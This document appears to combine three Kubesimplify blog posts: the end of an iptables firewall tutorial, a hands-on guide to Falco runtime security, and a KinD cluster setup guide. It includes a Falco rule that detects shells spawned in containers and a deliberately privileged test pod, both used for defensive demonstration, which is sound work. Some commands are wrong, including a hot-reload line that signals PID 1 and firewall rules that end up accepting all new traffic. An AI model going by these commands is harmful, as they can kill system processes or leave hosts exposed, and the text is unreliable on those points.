    //INPUT, FORWARD, OUTPUT: Chain names.
    //DROP: Command to drop all traffic matching the given rule.
    ```
    
5. Block a specific IP address.
    
    ```c
    BLOCK_THIS_IP="x.x.x.x" //variable, it could be a single IP address (e.g., 192.168.1.2) or a network address (e.g., 192.168.1.0/24).
    iptables -A INPUT -s "$BLOCK_THIS_IP" -j DROP
    
    //-A: a parameter that stands for "append". It adds a new rule at the end of the selected chain.
    //-s: a parameter that stands for "source". It specifies the source IP address or network of the traffic to be matched.
    //-j: a parameter that stands for "jump". It specifies the target action to take when the rule is matched.
    ```
    
6. MultiPorts (Eg. To allow incoming SSH, HTTP, and HTTPS).
    
    ```c
    iptables -A INPUT -i eth0 -p tcp -m multiport --dports 22,80,443 -m state --state NEW,ESTABLISHED -j ACCEPT
    
    iptables -A OUTPUT -o eth0 -p tcp -m multiport --sports 22,80,443 -m state --state ESTABLISHED -j ACCEPT
    
    //i: a parameter that stands for "input interface". It specifies the network interface through which the incoming traffic is expected to arrive. Similarly 'o' for "output interface".
    //eth0: the name of the network interface through which the incoming traffic is expected to arrive.
    //tcp: the transport protocol used by the traffic.
    //-m: a parameter that stands for "match". It specifies additional criteria to be matched by the traffic.
    //multiport: a match extension that allows matching multiple destination ports.
    //--dports: a parameter that stands for "destination ports". It specifies the destination port or ports to which the traffic is expected to arrive. Similarly '--sports' for "source ports".
    //--state: a match extension that allows matching the connection state of the traffic.
    //ACCEPT: Command to accept all traffic matching the given rule.
    ```
    
7. Allow outgoing SSH only to a specific network.
    
    ```c
    iptables -A OUTPUT -o eth0 -p tcp -d 192.168.1.0/24 --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
    iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
    ```
    
8. Load balancing the incoming HTTPS traffic.
    
    ```c
    iptables -A PREROUTING -i eth0 -p tcp --dport 443 -m state --state NEW -m nth --counter 0 --every 3 --packet 0 -j DNAT --to-destination 192.168.1.101:443
    iptables -A PREROUTING -i eth0 -p tcp --dport 443 -m state --state NEW -m nth --counter 0 --every 3 --packet 1 -j DNAT --to-destination 192.168.1.102:443
    iptables -A PREROUTING -i eth0 -p tcp --dport 443 -m state --state NEW -m nth --counter 0 --every 3 --packet 2 -j DNAT --to-destination 192.168.1.103:443
    
    //-m nth: a match extension that allows matching packets based on their sequence number.
    //--counter 0: a parameter that specifies the starting sequence number for matching packets.
    //--every 3: a parameter that specifies that every third packet should match the rule.
    //--packet 0: a parameter that specifies that the first packet should match the rule (since we specified a starting counter of 0).
    //-j DNAT: a parameter that stands for "jump destination NAT". It specifies the target action to take when the rule is matched, which is to perform Destination Network Address Translation (DNAT).
    //--to-destination: a parameter that specifies the new destination IP address and port for the traffic.
    //the command adds a new rule to the end of the PREROUTING chain that redirects every third incoming TCP packet on port 443 (HTTPS) through the eth0 network interface to the IP address 192.168.1.101/102/103 respectively and port 443 using DNAT.
    ```
    
9. Ping from inside to outside.
    
    ```c
    iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
    iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT
    
    //-p icmp --icmp-type echo-request: match the ICMP echo-request packets.
    //-p icmp --icmp-type echo-reply: match the ICMP echo-reply packets.
    ```
    
10. Ping from outside to inside.
    
    ```c
    iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
    iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT
    ```
    
11. Allow loopback access.
    
    ```c
    iptables -A INPUT -i lo -j ACCEPT
    iptables -A OUTPUT -o lo -j ACCEPT
    
    //-i lo: match traffic coming in from the loopback interface (i.e., lo).
    //-o lo: match traffic going out from the loopback interface (i.e., lo).
    //These commands allow loopback traffic (i.e., traffic between applications running on the same machine) to pass through the firewall, as loopback traffic doesn't need to be filtered.
    ```
    
12. Allow packets from the internal network to reach the external network.
    
    ```c
    iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
    
    //if eth1 is connected to external network (internet)
    //if eth0 is connected to internal network (192.168.1.x)
    ```
    
13. Allow outbound DNS.
    
    ```c
    iptables -A OUTPUT -p udp -o eth0 --dport 53 -j ACCEPT 
    iptables -A INPUT -p udp -i eth0 --sport 53 -j ACCEPT
    
    //-p udp: match UDP traffic.
    //These commands allow DNS traffic to pass through the firewall, as DNS queries and responses use UDP port 53 by default. The first command allows DNS traffic to leave the machine through the eth0 interface, while the second command allows DNS traffic to enter the machine through the same interface.
    ```
    
14. Port forwarding from 443 to 80.
    
    ```c
    iptables -t nat -A PREROUTING -p tcp -d 192.168.1.2 --dport 443 -j DNAT --to 192.168.1.2:80
    //--to 192.168.1.2:80: change the destination port of the traffic to port 80 (HTTP) on the same IP address. This is useful when you want to redirect HTTPS traffic to HTTP for a web server.
    iptables -A INPUT -i eth0 -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT
    //This command allows new or existing HTTPS traffic coming into the machine through the eth0 interface to pass through the firewall.
    iptables -A OUTPUT -o eth0 -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
    //This command allows existing HTTPS traffic going out of the machine through the eth0 interface to pass through the firewall.
    ```
    
15. Log the dropped packets.
    
    ```c
    iptables -N LOGGING
    //This command creates a new chain that we can use to log traffic that matches certain criteria.
    iptables -A INPUT -j LOGGING
    //This command adds a new rule to the end of the INPUT chain that will jump to the LOGGING chain for any traffic that doesn't match any of the previous rules.
    iptables -A LOGGING -m limit --limit 2/min -j LOG --log-prefix "IPTables Packet Dropped: " --log-level 7
    //-m limit --limit 2/min: limit the rate at which log messages are generated to 2 per minute.
    //-j LOG: log the traffic.
    //--log-prefix "IPTables Packet Dropped: ": prefix the log message with the specified string.
    //--log-level 7: set the log level to debug.
    iptables -A LOGGING -j DROP
    //This command adds a new rule to the end of the LOGGING chain that will drop any traffic that reaches it. This is useful for blocking traffic that doesn't match any of the other rules and for which you don't want to generate log messages.
    ```
    

### Hands-on Experimenting with firewalls✨

#### 🧱Stateless Firewall

![](/img/blog/iptables-demo/feb0e7c6-0ed8-43ab-b9ba-fd6f457d3d47.png align="center")

In this hands-on demo, we will create a stateless firewall using iptables. A stateless firewall is a type of firewall that inspects each network packet independently without considering the state of the connection. This is in contrast to stateful firewalls that keep track of the state of network connections to determine which packets to allow or block. The advantage of a stateless firewall is its simplicity and low overhead.

##### **Steps to be followed**

1. Set default policies for INPUT, FORWARD, and OUTPUT chains to DROP
    
2. Allow traffic on the loopback interface
    
3. Allow traffic to/from specified ports or services
    
4. Block traffic to/from specified IP addresses or range
    

##### **Code**

```c
// Set default policies for INPUT, FORWARD, and OUTPUT chains to DROP
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

// Allow traffic on loopback interface
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

// Allow traffic to/from specified ports or services
sudo iptables -A INPUT -p tcp -m multiport --dports 22,23,53 -j ACCEPT
sudo iptables -A OUTPUT -p tcp -m multiport --sports 22,23,53 -j ACCEPT

// Block traffic to/from specified IP addresses or ranges
sudo iptables -A INPUT -s <IP_ADDRESS> -j DROP
sudo iptables -A OUTPUT -d <IP_ADDRESS> -j DROP
```

##### **Testing the Firewall**

To test the firewall, we can use various tools like: `ping` and `ssh` to see if the traffic is allowed or blocked based on our rules. Here are some examples:

1. Ping loopback interface
    
    ```c
    ping 127.0.0.1
    //Expected result: Packets should be sent and received successfully.
    ```
    
    ![](/img/blog/iptables-demo/3eb3ee1d-df38-4044-b27e-83fe78474d07.png align="center")
    
2. Ping external IP address
    
    ```c
    ping google.com
    //Expected result: Packets should be dropped due to the default DROP policy.
    ```
    
    ![](/img/blog/iptables-demo/8b5a7d68-8120-4819-8687-ebab86c47c27.png align="center")
    
3. SSH into the machine
    
    ```c
    ssh user@<IP address>
    //Expected result: Connection should be established successfully.
    ```
    

You can also check the status of the firewall by running the `iptables -L` command, which lists all the rules currently defined in the firewall. Note that this is not an exhaustive set of rules, and you may need to customize the rules based on your specific requirements.

##### **Conclusion**

This demonstration showcases the development of a stateless firewall with iptables. Our configuration includes rules that enable or restrict traffic based on criteria such as source and destination IP addresses, ports, and protocols. We have verified the effectiveness of our firewall by conducting tests with multiple tools.

#### 🧱Stateful Firewalls

![](/img/blog/iptables-demo/5c76b9a3-fa56-4a93-aff4-102a4cb0230f.png align="center")

In this hands-on demo, we will create a stateful firewall using iptables. A stateful firewall is a type of firewall that keeps track of the state of network connections to determine which packets to allow or block. This allows the firewall to recognize legitimate traffic and prevent malicious traffic from entering the network.

##### **Steps to be followed**

1. Set default policies for INPUT, FORWARD, and OUTPUT chains to DROP
    
2. Allow traffic on the loopback interface
    
3. Allow traffic related to established connections
    
4. Allow traffic to/from specified ports or services
    
5. Block traffic to/from specified IP addresses or ranges
    
6. Allow traffic from established connections and their related traffic
    

##### **Code**

```c
// Set default policies for INPUT, FORWARD, and OUTPUT chains to DROP
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

// Allow traffic on loopback interface
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

// Allow traffic related to established connections
sudo iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

// Allow traffic to/from specified ports or services
sudo iptables -A INPUT -p tcp -m multiport --dports 22,80,443 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -p tcp -m multiport --sports 22,80,443 -m conntrack --ctstate ESTABLISHED -j ACCEPT

// Block traffic to/from specified IP addresses or ranges
sudo iptables -A INPUT -s 192.168.1.100 -j DROP
sudo iptables -A OUTPUT -d 192.168.1.100 -j DROP

// Allow traffic from established connections and their related traffic
sudo iptables -A INPUT -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
```

##### **Testing**

To test the firewall, we can use various tools like `ping` and `telnet` to see if the traffic is allowed or blocked based on our rules. Here are some examples:

1. Ping loopback interface
    
    ```c
    ping 127.0.0.1
    //Expected result: Packets should be sent and received successfully.
    ```
    
    ![](/img/blog/iptables-demo/ec293b84-3e05-4c16-8f5a-f29b2bb402a7.png align="center")
    
2. SSH into the machine
    
    ```c
    ssh user@<IP address>
    //Expected result: Connection should be established successfully.
    ```
    
3. Make a request to a website.
    
    ```c
    curl google.com
    //Expected result: Connection should be established, and the content of the page should be displayed.
    ```
    
    ![](/img/blog/iptables-demo/a41967ba-086d-4afd-8831-0c494e1619bf.png align="center")
    
4. Make a request to a blocked IP address
    
    ```c
    curl 192.168.1.100
    //Expected result: The connection should be dropped due to the block rule.
    ```
    
    ![](/img/blog/iptables-demo/d3a98a3d-f147-42a5-bea6-53c3c3a0deb2.png align="center")
    

##### **Conclusion**

In this demo, we have created a stateful firewall using iptables. We have defined rules to allow or block traffic based on different criteria like source/destination IP addresses, ports or services, and connection states. Testing the firewall with different tools and scenarios verified that the rules were working as expected.

It is important to note that this is a very basic example, and many other rules and configurations can be added to create a more secure and customized firewall. Additionally, iptables can be complex and confusing for those who are not familiar with it, so it is important to thoroughly test and understand the rules before implementing them in a production environment.

#### 🧱Application Firewall & Web Proxy

So, there's this thing called an application firewall that works at the app level. It either lets or stops traffic depending on the app-specific protocols or commands. Then there's a web proxy, which is like a middleman between clients and servers. It sends client requests to the right server and gives the server's response back to the client. Cool, right?

The optimal way to structure an application firewall and web proxy utilizing iptables is as follows:

1. Set up iptables rules to redirect traffic from the client to the proxy server. This can be done by configuring a DNAT rule for the port and protocol used by the application.
    
2. Install a web proxy server, such as Squid, on the proxy server to receive the redirected traffic.
    
3. Configure the web proxy server to listen for incoming traffic on the redirected port.
    
4. Set up iptables rules to redirect HTTP/HTTPS traffic to the web proxy server.
    
5. Configure the web proxy server to inspect the traffic for security threats or other issues. This can be done by enabling various security features such as SSL interception, IP whitelisting, and content filtering.
    
6. Set up iptables rules to block or allow traffic based on the web proxy server's security policies. For example, traffic from blacklisted IPs or containing malicious payloads can be blocked.
    
7. Configure the web proxy server to forward the traffic to the application server for processing. This can be done by configuring the web proxy server to use a load balancer or a round-robin algorithm to distribute traffic evenly among multiple servers.
    
8. Set up iptables rules to rewrite the source address of the forwarded traffic to that of the proxy server, so the application server can send the response back to the proxy server.
    
9. Configure the web proxy server to send the application server's response back to the client.
    

By simply following the steps above, you can set up an application firewall and web proxy using iptables, ensuring your web apps are secure and run smoothly on a remote server.

Rest assured that iptables is a powerful tool that can be complex, and mastering its configuration requires a solid understanding of networking and security concepts. To ensure optimal firewall implementation, I'd recommend seeking guidance from a certified network security professional prior to deploying in a production environment.

---

Follow Kubesimplify on [**Hashnode**](https://blog.kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our Discord server to learn with us.

Like the explanation? Want to [**connect**](https://twitter.com/barman_arnav)? You can find me [**here**](https://linktr.ee/arnav_barman)! Till then, happy learning ✨

---

---

# Enhancing Runtime-Security with Falco: My Hands-On Experience

- Canonical: https://blog.kubesimplify.com/enhancing-runtime-security-with-falco-my-hands-on-experience
- Published: 2023-03-27
- Summary: Hands-on experience with working on the runtime-security tool Falco

Containerization and microservices have revolutionized the way applications are developed and deployed. But, with these technological advancements come new challenges in securing the containerized environment. Security in a containerized environment requires a different approach than traditional security mechanisms. It involves the continuous monitoring of container activities, identifying security threats, and ensuring compliance.

In this blog, I share my hands-on experience with Falco, an open-source tool designed specifically for securing containerized environments. It can be easily categorized as the de facto threat detection engine for Kubernetes and for cloud infrastructure. Because of its advanced features and capabilities, Falco has become a popular choice among DevOps and security professionals alike.

I will discuss how Falco enhances security in containerized environments and how it can help in addressing security challenges. I will also share my experience with the tool and provide insights into its features and capabilities.

As we are aware, Linux systems come with isolated environments — userspace and kernel space. Falco operates at both the user space and kernel space. The system calls are intercepted by the kernel module by the executable code deployed inside the OS kernel or using [eBPF](https://ebpf.io) probes, which allows running scripts safely and performing actions inside the OS. The syscalls are then analyzed using the libraries. Alerts are generated when there is a match in a rule defined in the rule engine and alerted to outputs that are configured as Syslog, files, Standard Output, and others.

Falco can be installed on any local machine, cloud, or Kubernetes cluster. It mainly uses different drivers for collecting system calls' activity on the host. In this post, I will be installing Falco's latest release `v3.41`as a Package on my Ubuntu 22.04 system, so that it can detect any malicious activity occurring in the runtime. The detailed installation instruction for installing Faclo can be found in the [official docs](https://falco.org/docs/getting-started/installation/#installation-details). I have gone ahead and installed the Falco package using the pre-installed dialog package and chose the `falco-modern-bpf` driver for this demo.

Once the installation is complete, we can verify that the Falco package is installed correctly and running by using the `systemctl status falco-modern-bpf.service` command:

```shell
santosh@~:$ systemctl status falco-modern-bpf.service 
● falco-modern-bpf.service - Falco: Container Native Runtime Security with modern ebpf
     Loaded: loaded (/lib/systemd/system/falco-modern-bpf.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2023-02-27 16:49:51 IST; 32s ago
       Docs: https://falco.org/docs/
   Main PID: 39540 (falco)
      Tasks: 9 (limit: 14115)
     Memory: 85.7M
        CPU: 1.787s
     CGroup: /system.slice/falco-modern-bpf.service
             └─39540 /usr/bin/falco --pidfile=/var/run/falco.pid --modern-bpf

Feb 27 16:49:51 santoshdts falco[39540]: Loading rules from file /etc/falco/falco_rules.yaml
Feb 27 16:49:51 santoshdts falco[39540]: Loading rules from file /etc/falco/falco_rules.local.yaml
Feb 27 16:49:51 santoshdts falco[39540]: The chosen syscall buffer dimension is: 8388608 bytes (8 MBs)
Feb 27 16:49:51 santoshdts falco[39540]: Starting health webserver with threadiness 4, listening on port 8765
Feb 27 16:49:51 santoshdts falco[39540]: Enabled event sources: syscall
Feb 27 16:49:51 santoshdts falco[39540]: Opening capture with modern BPF probe.
Feb 27 16:49:51 santoshdts falco[39540]: One ring buffer every '2' CPUs.
Feb 27 16:50:02 santoshdts falco[39540]: 18:23:12.408382864: Error File below /etc opened for writing (user=root user_loginuid=-1 command=falcoc>
Feb 27 16:50:15 santoshdts falco[39540]: 18:23:25.539821933: Error File below / or /root opened for writing (user=root user_loginuid=1000 comman>
Feb 27 16:50:18 santoshdts falco[39540]: 18:23:28.101536918: Error File below /etc opened for writing (user=root user_loginuid=-1 command=falcoc>
```

As you can see from the above output the Falco service is up, and running, and is already collecting logs.

Since version `0.34`, Falco supports other driver types apart from kernel modules. To see the list of drivers view the `systemd unit-files`. However, it is recommended not to run multiple units in parallel :

```bash
santosh@~:$ systemctl list-unit-files | grep falco
falco-bpf.service                                                             disabled        enabled
falco-custom.service                                                          disabled        enabled
falco-kmod-inject.service                                                     static          -
falco-kmod.service                                                            disabled        enabled
falco-modern-bpf.service                                                      enabled         enabled
falcoctl-artifact-follow.service                                              disabled        enabled
```

## Falco Rules

Also, you can see from the above system status, Falco by default loads rules from the default directory `/etc/falco/falco_rules.yaml`. The default Falco configuration file is also placed in the same directory as `/etc/falco/falco.yaml`. This config file contains all the details about the rule files, the log output methods, etc. At the very top of the Falco config file, the order in which the rules will be evaluated is defined:

![falco-rules](https://user-images.githubusercontent.com/91916466/225949662-e81bb3aa-9949-42b1-b765-b292332cc944.png align="left")

The order in which the above rules files are defined is important. The defining order decides which rule file Falco will use to evaluate events generated by syscalls as default, which is the first one defined in the list `/etc/falco/falco_rules.yaml`.

It is advisable and recommended practice, not to overwrite the main rules file, i.e `etc/falco/falco_rules.yaml file`, and make any modifications or additions to the rules in the file located in the same directory by the name `/etc/falco/falco_rules.local.yaml`. You can see from the above image, this local rule is defined second in order of preference. We will see this in action later.

Falco ruleset basically is a `yaml` file consisting of five main components as a list.

* **rule**: a rule in any ruleset defines the name of the rule being defined.
    
* **desc**: A short description of the rule.
    
* **condition**: a [condition](https://falco.org/docs/rules/conditions/) is the important part in a rule. A condition is a boolean expression, which is evaluated when an event is triggered and detected by Falco. The condition stanza contains various [syscall event types](https://falco.org/docs/reference/rules/supported-events/), file descriptive combined with some [boolean operators](https://falco.org/docs/rules/conditions/#operators). You can also check all the supported fields on the command prompt by using `falco --list=syscall` command.
    
* **Output**: Output is the field that formats the logs in a readable format. The output is formatted in `<Timestamp> <Severity> <Message>`. The message can be broken down into two parts. The first is a human-readable message. The second includes some placeholders (ex: `%user,name`), that will be populated when outputted. The placeholders, start with a `%` symbol followed by one of the event's supported fields, as in the `condition` field.
    
* **Priority**: This field indicates the [severity](https://falco.org/docs/rules/basic-elements/#priority) of the rule being voilated. This is included in the output logs. Priority field can include values like **EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFORMATIONAL, DEBUG**.
    

The above structure forms a rule in Falco. But, the rules can include some more fields like, `list`, `macro`, `exceptions`, `tags`, etc, to form advanced rules. You can read more on this in [official docs](https://falco.org/docs/rules/basic-elements/#advanced-rule-syntax).

## Working with Falco Hands-on

So now, we have some understanding of the Falco rules and Falco configured, up and running. Let's put it to work.

To witness Faclo in action, let's try to open a sensitive file on a Linux system `/etc/sudoers` file which needs sudo access. Simultaneously, I will open another terminal to view systemd logs with the `journalctl -fu falco-modern-bpf` command:

![sudoers](https://user-images.githubusercontent.com/91916466/225952044-5688cae4-d990-49e6-9a5d-afff9429093e.png align="left")

Falco outputs the logs whenever a **condition** in a rule matches an event being triggered. You can see, the Falco tool detected that a sensitive file `/etc/shadow` was opened for reading with a priority of **Warning**. The output also provides some context to the event, like the `user` who tried to open the file, it was `root` in our case, the name of the file, etc.

Now, let us test it with Kubernetes pods:

First, in order to enable communication between our security tool Falco and Kubernetes Pods to [fetch information from the containers](https://falco.org/docs/getting-started/deployment/#docker-deprecation-in-kubernetes). We need to install falco as a [Daemonset on our Kubernetes cluster](https://github.com/falcosecurity/charts/tree/master/falco). This enables, falco to query the CRI — contained I'm my case for polling the events.

```bash
santosh@blogs:main$ kubectl get pods -n falco
NAME          READY   STATUS    RESTARTS      AGE
falco-gxxb6   2/2     Running   7 (34m ago)   3d15h
falco-rpz45   2/2     Running   7 (34m ago)   3d15h
```

Once, the Falco pods are up and running on both nodes (I've installed it on my two-node Kind cluster. Hence, two pods). We can move ahead and see Falco watching the processes triggered by Containers as well.

To see this in action, I've deployed a pod named `privileged1`, which is just a busybox container running with some serious security flaws in the configurations:

```yaml
apiVersion: v1
kind: Pod
metadata:
 creationTimestamp: null
 labels:
 run: privileged1
 name: privileged1
spec:
 containers:
  - args:
    - sleep
    - 1d
 image: nginx
 name: privilaged
 securityContext:
 privileged: true
 runAsUser: 1000
 allowPrivilegeEscalation: true
<snip>
```

> In order to view the logs, we need to exec into the Kind node, where Falco is installed, and view the logs through `journalctl` the command line tool that lets you interact with the journal logs.

Now, let's deploy this pod and see if Falco catches the security misconfiguration in the workload.

![privileged](https://user-images.githubusercontent.com/91916466/225952262-00ca1c5c-4276-443d-bf4b-e96863b0de21.png align="left")

As expected, Falco detected that a privileged pod was created and a volumeMount was executed inside the container. The severity of the output is set to **Warning** in this case. Suppose, we now try to spawn a shell inside the container. As spawning a shell inside a container is considered a security risk, Falco would again sense this and alert us about this.

![privileged-shell1](https://user-images.githubusercontent.com/91916466/225952477-389450b5-bea9-4056-a3a0-9a0ffdfbb81e.png align="left")

## Modifying a rule

Another point to notice from the above image is that the output in the logs is more concise, giving only the relevant information about the user and container. This is achieved by altering the default rules to provide the output. As we discussed earlier in the [Rules section](#falco-rules), the rules are evaluated based on their listing in the main Falco config file. The default rules `faclo_rules.yaml` file is one which comes pre-installed with all the rules formulated by the wonderful Falco community and might change during upgrades. Keeping this in mind, all the modification to the rules is made in a local rules file listed below the `falco_rules.yaml` file, namely `falco_rules.local.yaml`. Hence, while evaluating the rules, Falco looks first goes through the main rules file and then to the local file to evaluate the rules.

In order to make any changes to the existing rules, we need to add our custom rules in the `falco_rules.local.yaml` file.

```shell
santosh@blogs:main$ cat /etc/falco/falco_rules.local.yaml 
# Custom rules!
 - rule: Terminal shell in container
    desc: Detects a shell being spawned in a Container
    condition: container.id != host and proc.name in (linux_shells)
    output: >
      A shell was spawned in a container with an attached terminal (user=%user.name user_name=%user.loginname shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline container_name=%container.name image=%container.image)
    priority: WARNING
 
  - list: linux_shells
    items: [sh, bash, zsh]
```

There are various events that falco tracks for evaluating the process and generating readable output. We can learn more about all the [event types](https://falco.org/docs/rules/supported-events) and [supported fields](https://falco.org/docs/rules/supported-fields) in the rules **Condition** field from Falco's official docs.

> Once, the `falco_rules.local.yaml` file is altered, we need to restart the Falco service either by `systemctl restart falco-modern-bpf.service` or by hot reloading, this method does not restart the systemd service and restart the falco instance by identifying the pid of falco and sending a `sighup` signal by using this command: `kill 1 $(cat pidof falco)`.

In our case, we were monitoring the logs from the `journalctl` utility as text files. But, Falco provides various ways to export the logs to different [alert channels](https://falco.org/docs/alerts/channels/). We can export logs in `json`, to a specific file, a Program output for a Slack Incoming Webhook, even an HTTP/HTTPS endpoint to some URL, or via a gRPC API client to an external program.

## Conclusion

In this post, we've just scratched the surface of the runtime security paradigm by working with Falco. Falco also supports [**Kubernetes Audit logs**](https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/) by ingesting the Kubernetes event as [event source](https://falco.org/docs/event-sources/), among others. Falco's support for monitoring the Kubernetes Audit logs in real-time provides an additional layer of security for Kubernetes environments and helps organizations detect and respond to security threats quickly and effectively.

In the next post, we will be integrating Falco with Kubernetes, enabling robust runtime security for our Kubernetes cluster.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Getting Started with KinD: Creating a Multi-node  Local Kubernetes Cluster

- Canonical: https://blog.kubesimplify.com/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster
- Published: 2023-03-13

Nowadays, Kubernetes is the most popular orchestration tool. So, have you ever wanted to become acquainted with its components, commands, or other related information?

Simply you just need a platform to play around with Kubernetes.

There are numerous platforms for playing around with Kubernetes clusters. Kubeadm, Kops (Kubernetes Operations), Minikube, and Killercoda are a few examples. However, as far as I can tell, those options have limitations. These clusters/environments are either temporary (*killercoda*) or you can only create a single control-plane node with a single etcd database running on it (*kubeadm*) or you get only a single node cluster (*minikube*) or you must pay for what you consume.

What if we could create a highly available k8s cluster locally for development and testing? Which is permanent and does not require payment. That's fantastic, isn't it? Furthermore, if the cluster configuration procedure is simple?

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/19107814-c880-4428-beac-cf0d8052cb95.gif align="center")

Yes, we are talking about [**KinD**](https://kind.sigs.k8s.io/) **(Kubernetes in Docker).** It is a tool for running local Kubernetes clusters using Docker container “nodes”. Kind was primarily designed for testing Kubernetes itself but may be used for local development or CI.

**We discuss more about KinD in detail in this article, including how to use it to create single-node, multi-node, and multiple nodes clusters, as well as how to deploy an application to your kind cluster.**

# What is KinD?

KinD (Kubernetes in Docker) is a simple tool with several powerful and unique features that make it easier to run local Kubernetes clusters. Kind is a Kubernetes SIGs project that is quite distinct from minikube. It encapsulates the cluster in Docker containers. This results in a substantially faster starting time as compared to running a VM.

With Kind, it is easy to spin up a local Kubernetes cluster within Docker Desktop. The Kind runs as a container by itself.

Kind documentation is easy and straightforward to understand, for more details and understanding refer [**this**](https://kind.sigs.k8s.io/docs/user/quick-start/).

# Installation of KinD

## Pre-Requisites

* **Install Docker** - You must have docker installed and running in your system. If not, you can get it from here as per your OS.
    

%[https://docs.docker.com/engine/install/] 

* **Install Kubectl (optional)** - kind does not require kubectl, but you will not be able to perform some of the examples without it.
    
    Follow [this documentation](https://kubernetes.io/docs/tasks/tools/) to install and set up kubectl.
    

## Install KinD

1. **On macOS**
    
    * Via Homebrew:
        
        ```powershell
          brew install kind
        ```
        
    * Via MacPorts:
        
        ```powershell
        sudo port selfupdate && sudo port install kind
        ```
        
    * From Release Binaries:
        
        ```powershell
        # for Intel Macs
        [ $(uname -m) = x86_64 ]&& curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.17.0/kind-darwin-amd64
        # for M1 / ARM Macs
        [ $(uname -m) = arm64 ] && curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.17.0/kind-darwin-arm64
        chmod +x ./kind
        mv ./kind /some-dir-in-your-PATH/kind
        ```
        
2. **On Linux**
    
    ```powershell
    curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.17.0/kind-linux-amd64
    chmod +x ./kind
    sudo mv ./kind /usr/local/bin/kind
    ```
    
3. **On Windows**
    
    * Via Chocolatey:
        
        ```powershell
        choco install kind
        ```
        
    * From Release Binaries:
        
        ```powershell
        curl.exe -Lo kind-windows-amd64.exe https://kind.sigs.k8s.io/dl/v0.17.0/kind-windows-amd64
        Move-Item .\kind-windows-amd64.exe c:\some-dir-in-your-PATH\kind.exe
        ```
        

> To see if KIND is installed on your system, you can use the command `kind version` to see what version of KIND is installed.
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/0cb671a0-1cd4-48f1-9b7e-2251f5166337.png align="center")

# Creating Cluster

## Creating Single-node Cluster

Create a single-node cluster without any config file. Just use the below command:

```powershell
kind create cluster
```

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/427fe6f1-96c5-48eb-abd4-b0ebf2c8806c.png align="center")

This will use a pre-built node image to bootstrap a Kubernetes cluster. Prebuilt images are hosted at[`kindest/node`](https://hub.docker.com/r/kindest/node/)`.`

> You can use the command `kubectl get nodes` to vaidate that your single-node cluster is running correctly.
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/f84fa5b9-a339-4e1f-bc0f-c95b64671048.png align="center")

## Cluster Configurations

> By default, the cluster access configuration is stored in ${HOME}/.kube/config if $KUBECONFIG environment variable is not set.
> 
> You can access the config file by using the command `less ~/.kube/config`
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/24104969-91af-4504-a77b-e539f0cd7aa0.png align="center")
> 
> To get the api server to which we are going to interact for connecting to our kubernetes cluster, we can use the command `grep server ~/.kube/config`
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/fea990af-9e78-43c5-92f5-c6630ce687d3.png align="center")

### Changing node image:

To specify another image use the `--image` flag – `kind create cluster --image=...`.

```powershell
kind create cluster --image kindest/node:v1.24.7@sha256:577c630ce8e509131eab1aea12c022190978dd2f745aac5eb1fe65c0807eb315
```

> Using a different image allows you to change the Kubernetes version of the created cluster. *Every version of kind supports the specific list of versions of Kubernetes, you can see the list of supported versions of Kubernetes from the* [*release page*](https://github.com/kubernetes-sigs/kind/releases)*.*
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/7ff7d682-68c2-469f-a7ca-79eab67ade01.png align="center")

### Changing cluster context name:

By default, the cluster will be given the name `kind`. Use the `--name` flag to assign the cluster a different context name.

```powershell
kind create cluster --name sample
```

You can use the command `kubectl config get-contexts` to list the currently active clusters.

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/44f300cc-f466-4de9-8549-b82060835dee.png align="center")

> *To switch between different cluster, you can use* `kubectl config use-context <cluster-name>`

### Interacting with the cluster:

After creating a cluster, you can use kubectl to interact with the cluster created by kind.

```powershell
#for default
kubectl cluster-info

#for cluster having specified context name
kubectl cluster-info --context <context-name>
```

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/5ec2a6d9-4543-4f3f-b025-2fd870ece57a.png align="center")

